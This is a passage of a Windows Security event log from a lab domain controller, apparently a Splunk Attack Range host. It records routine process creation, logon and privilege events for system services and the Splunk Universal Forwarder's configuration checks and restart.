-Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8E7C9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:53:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253983 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0xf7c - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k NetworkService - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253986 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0xa58 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253985 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\System32\sppsvc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\sppsvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253984 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x121c - New Process Name: C:\Windows\System32\msdtc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\msdtc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253987 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x448 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253989 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x294 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253988 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253990 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x47c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253991 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253999 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x98BC9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:53:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253998 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x98BC9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62299 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:53:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253997 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x98BC9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:53:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253996 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1100 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253995 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1100 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x994 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253994 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x994 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253993 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5c0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2212 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253992 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: splunk _relaunch restart --accept-license --answer-yes --no-prompt --waitonpid=2212 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254005 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1218 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x900 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254004 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xa48 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254003 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa48 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254002 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd00 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x9e4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is 